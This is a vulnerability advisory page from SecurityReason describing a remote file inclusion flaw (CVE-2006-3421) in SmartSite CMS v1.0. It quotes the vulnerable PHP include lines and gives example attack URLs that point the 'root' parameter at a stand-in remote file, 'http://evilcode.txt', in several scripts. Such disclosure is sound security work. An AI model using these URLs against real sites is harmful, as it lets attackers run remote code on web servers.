|
 |
| SecurityReason | ||
| WLB | ||
| Services | ||
| RSS | ||
| Corporate | ||
| Note | ||
If you have found a vulnerability, please send to our SecurityAlert Database : |
||
Home  SecurityAlert Database |
||||
SecurityAlert : 1198 CVE : CVE-2006-3421 SecurityRisk : High  (About) Remote Exploit : Yes Local Exploit : No Exploit Available : Yes Credit : CrAsh_oVeR_rIdE Published : 11.07.2006
Advisory Content : smartsite cms v1.0 Remote File include ------------------------------------------------- Discovered By CrAsh_oVeR_rIdE Arabian Security Team ------------------------------------------------- site of script:www.smartsitecms.net ------------------------------------------------- Vulnerable: smartsite cms v1.0 ------------------------------------------------- vulnerable code: ---------------------- 1-in comment.php : require($root . "include/inc_foot.php"); --------------------------------------- 2-in /admin/comedit.php : else { require('../include/inc_accessfail.php'); } ?> </div> </div> <?php } else { require($root . "include/inc_adminfail.php"); } --------------------------------------- 3-in /admin/test.php : require($root . "include/inc_adminfooter.php"); --------------------------------------- 4-in /admin/index.php : require($root . "admin/include/inc_adminfooter.php"); --------------------------------------- 5-in /admin/include/inc_adminfoot.php: require($root . "include/inc_footer.php"); --------------------------------------- $root parameter File include ------------------------------------------------------------------------ ----------------------------------------------------------------- vulnerable files : -------------------- comment.php /admin/test.php /admin/index.php /admin/include/inc_adminfoot.php /admin/comedit.php ------------------------------------------------- example: www.example.com/(path)/comment.php?root=http://evilcode.txt? www.example.com/(path)/admin/test.php?root=http://evilcode.txt? www.example.com/(path)/admin/index.php?root=http://evilcode.txt??root=ht tp://evilcode.txt? www.example.com/(path)/admin/include/inc_adminfoot.php?root=http://evilc ode.txt? www.example.com/(path)/admin/comedit.php?root=http://evilcode.txt? -------------------------------------------------- Discovered By CrAsh_oVeR_rIdE E-mail:KARKOR23 (at) hotmail (dot) com [email concealed] Site:www.lezr.com Greetz:KING-HACKER,YOUNG HACKER,SIMO64,ROOT-HACKED,SAUDI,QPTAN,POWERWALL,SNIPER_SA,Black-Code,ALM OKAN3 AND ALL LEZR.COM Member  Feedback : If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com. |
||||
| Alert | ||
libc:fts_*() Multiple Denial of Service
The fts functions are provided for traversing UNIX file hierarchies... |
||
| Apache |  |
|
» Apache Tomcat 6.0.20 and |
||
» Apache Tomcat 6.0.20 and |
||
» Apache Tomcat 6.0.20 and |
||
| PHP | |
|
» PHP 5.2.12/5.3.1 |
||
- 2009-10-02| Copyright © SecurityReason.com. All Rights Reserved. |